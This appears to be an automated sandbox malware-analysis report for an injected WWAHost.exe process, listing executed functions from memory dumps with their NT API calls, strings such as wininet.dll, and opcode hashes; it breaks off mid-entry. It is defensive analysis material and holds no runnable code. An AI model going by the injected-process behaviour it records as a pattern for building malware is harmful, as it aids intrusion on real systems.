Instruction Fuzzy Hash: 9ED0A736B8522189C7159E24B880175F364DAD3521B5817ADC96897082C2038016C796

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: WWAHost.exe PID: 6024 Parent PID: 3424 WWAHost.exeCOMMON

Executed Functions

Function 00A2A35A, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00A24BB7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00A24BB7,007A002E,00000000,00000060,00000000,00000000), ref: 00A2A3AD

Strings

.z`, xrefs: 00A2A39D, 00A2A3A8

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: d56f46eb1be5e4239b1e6c94dcce05e592ab85c52cadf44414a321a4209374a5
Instruction ID: c9d0883c6f249ba594dd212d3b7d1971d3f9eb4352d856e899d3e9a45a1f6b75
Opcode Fuzzy Hash: d56f46eb1be5e4239b1e6c94dcce05e592ab85c52cadf44414a321a4209374a5
Instruction Fuzzy Hash: 0311E2B2210009ABCB08DF9CDD84CEB77ADFF8C754B25864DFA1D93201D634E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A360, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00A24BB7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00A24BB7,007A002E,00000000,00000060,00000000,00000000), ref: 00A2A3AD

Strings

.z`, xrefs: 00A2A39D, 00A2A3A8

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 36d34c5a0077e21d54e04ddf16323f70dc870194016a36bf862a17f23e3e28f4
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: D9F0BDB2200208ABCB08CF88DC85EEB77ADAF8C754F158248BA1D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A40A, Relevance: 1.5, APIs: 1, Instructions: 39filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00A24D72,5EB65239,FFFFFFFF,00A24A31,?,?,00A24D72,?,00A24A31,FFFFFFFF,5EB65239,00A24D72,?,00000000), ref: 00A2A455

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1adc704855daf59fd18c7978f78fde3c6a462d23d04938e041fefc5bd728430c
Instruction ID: f5ce43c129f5c3d2a28a5569820550394b771f70c2aafd6e313aab085a38691e
Opcode Fuzzy Hash: 1adc704855daf59fd18c7978f78fde3c6a462d23d04938e041fefc5bd728430c
Instruction Fuzzy Hash: 1BF0CFB6200118AFCB14DF88DC81EEB77A9AF8C754F158248BA1DA7241CA30E811CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A410, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00A24D72,5EB65239,FFFFFFFF,00A24A31,?,?,00A24D72,?,00A24A31,FFFFFFFF,5EB65239,00A24D72,?,00000000), ref: 00A2A455

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 3902288dc30ceac4ee3f9440c011bac718a264724c938ba54090461dcb10f023
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 35F0A4B2200208ABCB14DF89DC81EEB77ADEF8C754F158258BA1D97241D630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A540, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00A12D11,00002000,00003000,00000004), ref: 00A2A579

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 75e78aa8e8c80bd44d9e760a7e8f36c6370d485a56e45d0a057421574151a216
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: ABF015B2200218ABCB14DF89DC81EAB77ADEF88754F118158BE1897241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A490, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00A24D50,?,?,00A24D50,00000000,FFFFFFFF), ref: 00A2A4B5

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 7da10a7705c79f632362436e0df321e8b6de82c8afda78f10723e0d52dc8ce2c
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: BAD012752002146BD710EB98DC45E97775CEF44B50F154459BA1C5B242C530F50086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A48A, Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00A24D50,?,?,00A24D50,00000000,FFFFFFFF), ref: 00A2A4B5

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c44058b855ac9d5382c1e7bb39213284127d91912d72c7fd6612ddceb40b3234
Instruction ID: a272e6264bc1db5a2c2abc1f4699ea0b12317b913afe095ed9dc491a187084d9
Opcode Fuzzy Hash: c44058b855ac9d5382c1e7bb39213284127d91912d72c7fd6612ddceb40b3234
Instruction Fuzzy Hash: CBD02BA950D2C08BDB10FBB4F4D40CABB60EF9061872459DEE4B807647D17592059391

Uniqueness

Uniqueness Score: -1.00%

Function 03C89A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C89A5A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b42dae81e44a7cc04cb825a1b6c29639ecbd64b3c745ecb2bc46823a6110ff64
Instruction ID: b5624d861e4bcca89c9b3e7ffcd4157745a781e876b60eb040cbbecbd90ce2ab
Opcode Fuzzy Hash: b42dae81e44a7cc04cb825a1b6c29639ecbd64b3c745ecb2bc46823a6110ff64
Instruction Fuzzy Hash: 0F9002A121184542E601A5694D1CB07110597D0343F62C116A015D554CCA558C616571

Uniqueness

Uniqueness Score: -1.00%

Function 03C899A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C899AA

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6bb96df54443f8dc2a9cb7cc6e3e272e118ef7767d8865fa8708966c5976af6
Instruction ID: 02da96c316c6663f52ba11275c64ea540b327fa84f101d877374494f3595fcf5
Opcode Fuzzy Hash: f6bb96df54443f8dc2a9cb7cc6e3e272e118ef7767d8865fa8708966c5976af6
Instruction Fuzzy Hash: 7E9002E134104942E501A159451CB061105D7E1341F62C016E106D554D8759CC527176

Uniqueness

Uniqueness Score: -1.00%

Function 03C89910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8991A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b79f83a256ec41cc8acfcc872b7b6dde51698e1023fff598fa9135f2ca123bf
Instruction ID: 72ab802cec2a5065467538c3cf6caa33b702943df64e9872e34baf5f55009c35
Opcode Fuzzy Hash: 8b79f83a256ec41cc8acfcc872b7b6dde51698e1023fff598fa9135f2ca123bf
Instruction Fuzzy Hash: 079002F120104902E541B159450C746110597D0341F62C012A506D554E87998DD576B5

Uniqueness

Uniqueness Score: -1.00%

Function 03C89840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8984A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 06cbde9cf3765c8c64863066b63f1701b76ebb5624c22c973cb352cbd16b84b8
Instruction ID: 56f830c0714401f7f4ca4c430771ea29fb3bac2b69e1cbd680a3bb57dec9d5de
Opcode Fuzzy Hash: 06cbde9cf3765c8c64863066b63f1701b76ebb5624c22c973cb352cbd16b84b8
Instruction Fuzzy Hash: BD9002A1242086526946F159450C5075106A7E02817A2C013A141D950C86669C56E671

Uniqueness

Uniqueness Score: -1.00%

Function 03C89860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8986A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2790e42f55cbcacb9558490f4dbabf5e9b574b10402552d9302716064b83d059
Instruction ID: e65a6c4ac66c9fe1a1b08bdc2153e3cab209b9f5d840d2b0a41b6209e38fd3b1
Opcode Fuzzy Hash: 2790e42f55cbcacb9558490f4dbabf5e9b574b10402552d9302716064b83d059
Instruction Fuzzy Hash: 1C9002B120104913E512A159460C707110997D0281FA2C413A042D558D97968D52B171

Uniqueness

Uniqueness Score: -1.00%

Function 03C89FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C89FEA

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9cff51e176e49e726a618e11c3772ebafdefa7b9e31c1243b43dc721a23871bd
Instruction ID: 2088f9f8e7b2be140e000d76f6c6dbba5973f5125c7c0e4e2c8acb1224b4eeaf
Opcode Fuzzy Hash: 9cff51e176e49e726a618e11c3772ebafdefa7b9e31c1243b43dc721a23871bd
Instruction Fuzzy Hash: 3B9002B131118902E511A159850C706110597D1241F62C412A082D558D87D58C917172

Uniqueness

Uniqueness Score: -1.00%

Function 03C89780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8978A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2b1ef3d61e415acf146e718d369291dcc11c612ecbe6594280c7021344f0e6ce
Instruction ID: d6bf86e9b8c8590302915d89004be704c4eedb65197d70e087602bc35fbe1de4
Opcode Fuzzy Hash: 2b1ef3d61e415acf146e718d369291dcc11c612ecbe6594280c7021344f0e6ce
Instruction Fuzzy Hash: 6B9002A921304502E581B159550C60A110597D1242FA2D416A001E558CCA558C696371

Uniqueness

Uniqueness Score: -1.00%

Function 03C89710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8971A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 098092e11c35301474961249cecb3a7f03988211b7fbfe0a7adf1e6e86bab3ba
Instruction ID: 5073248da2b482915389be42706b1bca31159723cac4dfac36e216c234859c0d
Opcode Fuzzy Hash: 098092e11c35301474961249cecb3a7f03988211b7fbfe0a7adf1e6e86bab3ba
Instruction Fuzzy Hash: 159002B120104902E501A599550C646110597E0341F62D012A502D555EC7A58C917171

Uniqueness

Uniqueness Score: -1.00%

Function 03C896D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C896DA

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5069c83fbba59c5f90da44ba524c7c614e7c0d9b0a087e8d6d3c96892b66460a
Instruction ID: cbdf3bef11e651a8a5422d747a63261193432ad5b382f11569fa505d4687c707
Opcode Fuzzy Hash: 5069c83fbba59c5f90da44ba524c7c614e7c0d9b0a087e8d6d3c96892b66460a
Instruction Fuzzy Hash: C19002B120104D42E501A159450CB46110597E0341F62C017A012D654D8755CC517571

Uniqueness

Uniqueness Score: -1.00%

Function 03C896E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C896EA

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c148585a57e0a15c5b5df385bc21c99baaee7c3c1ecaad1d1027d06d52258a8
Instruction ID: c47efc996861f8318b990f04f9661931d1ede70bea13f29c217e4182941d7951
Opcode Fuzzy Hash: 9c148585a57e0a15c5b5df385bc21c99baaee7c3c1ecaad1d1027d06d52258a8
Instruction Fuzzy Hash: 4A9002B12010CD02E511A159850C74A110597D0341F66C412A442D658D87D58C917171

Uniqueness

Uniqueness Score: -1.00%

Function 03C89650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8965A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 97cfe9a13b3e60e3241d04e5e65749a0155ed59983f287d8e0f1deaebfac322c
Instruction ID: 36ae2bbff2b3e641c05b8999d3730666153df216b133039bdeedad9be4054d40
Opcode Fuzzy Hash: 97cfe9a13b3e60e3241d04e5e65749a0155ed59983f287d8e0f1deaebfac322c
Instruction Fuzzy Hash: D69002B120508D42E541B159450CA46111597D0345F62C012A006D694D97658D55B6B1

Uniqueness

Uniqueness Score: -1.00%

Function 03C89660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8966A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 65cd2167b233cd0b50227000dd2490f151c5ed45ba9e3422b2faf497e02ed331
Instruction ID: 5ad960896e3a23988bc7b63cdc1ddf7eb0bd5ffb0e639057318eed618f4b7693
Opcode Fuzzy Hash: 65cd2167b233cd0b50227000dd2490f151c5ed45ba9e3422b2faf497e02ed331
Instruction Fuzzy Hash: 0F9002B120104D02E581B159450C64A110597D1341FA2C016A002E654DCB558E5977F1

Uniqueness

Uniqueness Score: -1.00%

Function 03C895D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C895DA

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9bbc908ee86c023b4dcf5841d2384b313ae840f3d45ce8a0adda3f88fc604b6e
Instruction ID: a865ea4dac67a6126e5cce040f9b324c11796ef56b0c6cc4edfe774b9714fd6e
Opcode Fuzzy Hash: 9bbc908ee86c023b4dcf5841d2384b313ae840f3d45ce8a0adda3f88fc604b6e
Instruction Fuzzy Hash: BF9002E1202045035506B159451C616510A97E0241B62C022E101D590DC6658C917175

Uniqueness

Uniqueness Score: -1.00%

Function 03C89540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C8954A

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bb97dca368b3918c2bbf3e3b03ce399d2ad845e347dd7c66d692fbc0c3681d0
Instruction ID: 8cdf364e9959cb588c8250388112372c6e9b60fb33941c62785ef714ec65d4b9
Opcode Fuzzy Hash: 8bb97dca368b3918c2bbf3e3b03ce399d2ad845e347dd7c66d692fbc0c3681d0
Instruction Fuzzy Hash: B59002A5211045031506E559070C507114697D5391362C022F101E550CD7618C616171

Uniqueness

Uniqueness Score: -1.00%

Function 00A29080, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00A29128

Strings

wininet.dll, xrefs: 00A290DE, 00A290E7
net.dll, xrefs: 00A290F1, 00A29177, 00A2914F, 00A2915B, 00A29183

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: a1b7492857a8a25a3984b9832b8bf1e51afe202f6f4feea2de0658650f7e27fc
Instruction ID: e502ae3d2bd2acb0ce5792863e3cc30a6b42ef4dd8678f656df48564476e4e2a
Opcode Fuzzy Hash: a1b7492857a8a25a3984b9832b8bf1e51afe202f6f4feea2de0658650f7e27fc
Instruction Fuzzy Hash: 833192B2900355BBC714DF69D885FA7B7B8FB48B00F10812DF62A6B245D734B560CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A29077, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 81sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00A29128

Strings

wininet.dll, xrefs: 00A290DE, 00A290E7
net.dll, xrefs: 00A290F1, 00A2914F, 00A2915B

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 57dcfe0cff6ccff2a079567e4842d047e4376ee5e2600ac61e7b393a2dfdccdf
Instruction ID: fc127e4f9ffaf1994f320814fc30184acabc8dab148bd5add690e16da437687f
Opcode Fuzzy Hash: 57dcfe0cff6ccff2a079567e4842d047e4376ee5e2600ac61e7b393a2dfdccdf
Instruction Fuzzy Hash: 5921F2B1900351ABC714DF69D885FA7B7B4BB48B00F10812DFA296B245D774A960CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A670, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00A13AF8), ref: 00A2A69D

Strings

.z`, xrefs: 00A2A68C, 00A2A698

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 0c6049c526b3ef44b45fe359d169b5a320535296e37e92f7a7fd1c23c5001a18
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 5AE046B1200218ABDB18EF99DC49EA777ACEF88B50F118558FE1C5B242C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 00A18310, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 00A1836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 00A1838B

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: a493eabf7697513180435b5f665ed638a4e8f6b3857f93d23393bef0d0da5e70
Instruction ID: 883d16f870ba37fdc1db04de77e0cf9073d44583a8cfc313234df78332bbdfc4
Opcode Fuzzy Hash: a493eabf7697513180435b5f665ed638a4e8f6b3857f93d23393bef0d0da5e70
Instruction Fuzzy Hash: 0401A231A812387BE720A6949D43FFE776C6B41F50F090118FF04BA1C2EAE4690646F6

Uniqueness

Uniqueness Score: -1.00%

Function 00A1ACF0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00A1AD62

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
Instruction ID: 9ffc8d437647258d0b9cc6cf9c0a5b5d38721c6631ecf4215ddfa29eace052d0
Opcode Fuzzy Hash: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
Instruction Fuzzy Hash: 79011EB5D0020DABDF10EBA4ED42FDDB3789B54309F1045A5A90997641F631EB588B91

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A6E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00A2A734

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 300987bde2da97aff77f2e2c1ddffcc90bf9ab39934548c1358990d7eea86dba
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: C301AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A1ACE5, Relevance: 1.5, APIs: 1, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00A1AD62

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ac607fe8fadfd29998aeae0fc689f596357b97b0bf363d8ae678b1bbacd093b8
Instruction ID: 75447ed1b7b9a8b4d17b2875a4651f30e3fe5916ba1be28868e3d679a0c1d731
Opcode Fuzzy Hash: ac607fe8fadfd29998aeae0fc689f596357b97b0bf363d8ae678b1bbacd093b8
Instruction Fuzzy Hash: 7AF06275E0010DABDF10DB94D982FD9B378AB58308F008295E91D9B641F630DA49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A291A4, Relevance: 1.5, APIs: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00A1F050,?,?,00000000), ref: 00A291EC

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 90f4d560c854e61cb04fff5511f6c9e31f58e75d6f69431325777fef47646c46
Instruction ID: c04f148102f7ddcef7bfd108aa57f5a8160bb36c064ee7b35f2383a5562a569c
Opcode Fuzzy Hash: 90f4d560c854e61cb04fff5511f6c9e31f58e75d6f69431325777fef47646c46
Instruction Fuzzy Hash: D1F02E762443553FD7315A6C6C47FEBBB649F51B10F150279F549DB1C3C690E4014390

Uniqueness

Uniqueness Score: -1.00%

Function 00A291B0, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00A1F050,?,?,00000000), ref: 00A291EC

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d8d341beacf55d3aadfcb46bdd6eb0ebc06c290d7a953d7ae1546744555f20b2
Instruction ID: 95e69140be40cfe1d302c7117cd0467624dd76a13b112a4f0118795dec5dd7fb
Opcode Fuzzy Hash: d8d341beacf55d3aadfcb46bdd6eb0ebc06c290d7a953d7ae1546744555f20b2
Instruction Fuzzy Hash: 88E06D373803143AE320669DAC02FE7B29C9B81B20F150036FA0DEA2C1D995F80142A4

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A7C2, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

